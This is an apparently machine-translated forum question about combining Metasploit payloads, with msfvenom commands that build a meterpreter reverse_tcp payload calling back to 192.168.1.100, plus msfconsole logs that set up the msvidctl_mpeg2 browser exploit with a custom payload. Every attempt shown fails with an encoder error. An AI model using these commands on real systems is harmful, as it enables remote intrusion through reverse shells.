私は新しいMSF4(フレームワーク:4.1.0-release.13988、コンソール:4.1.0-release.13581)のマルチペイロードサポートをmsfvenomとカスタム/汎用ペイロードを使用して遊んでいますが、エンコーディングと互換性の観点からペイロードがサポートするものに関する情報。
基本的に、サーバー側のサービスをシャットダウンして、メータープリターにバインドされていないポートでリッスンさせる方法を検討しています。(エクスプロイトは別のポートに侵入します)
基本的に、msgboxとMeterpreterをexe、raw、および.rbとして連続して使用して、msfvenomを使用してマルチペイロードを作成しました。エンコーディング設定をそのままにして、Noneに設定してみました。(カスタム/汎用ペイロード.rbソースは、Noneエンコーディングのみを許可することについて何かを言っていることに注意してください)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw
EXITFUNCを「none」に設定して試してみました。
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw
次に、generic / customペイロードが使用できるものにrawmultipayloadを書き込む必要があります:(raw、exe、.rb形式に書き込んでみたことに注意してください)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw
最後に、generic / customでmultipayloadを試してみましょう:(設定してエクスプロイトを試みる前に、毎回エクスプロイトをリロードしたことに注意してください)
msf > use exploit/windows/browser/msvidctl_mpeg2
msf exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
そこで、「エンコーダがエンコードされていません...」というエラーの意味についての説明を見つけました。(http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions)これは、ステージャーのペイロードが入ってくる場所だと思います。
エラーの原因は、ステージングされていないため、windows / msgboxペイロードですか?それとも、マルチペイロードがステージングされていないということですか?それが遅い場合、ステージングされない限り、マルチペイロードがどのように機能するかはわかりません。2つのペイロードを組み合わせると、1つのペイロードよりも大きくなる可能性があります。
誰かが少なくともジェネリック/ペイロードペイロードと互換性があるはずのエンコーディングとフォーマットを説明して、それを除外できるようにできますか?マルチペイロードサポートへの参照は2、3しか見つかりませんでした。
前もって感謝します!一度これを機能させた方法で返信することを約束します。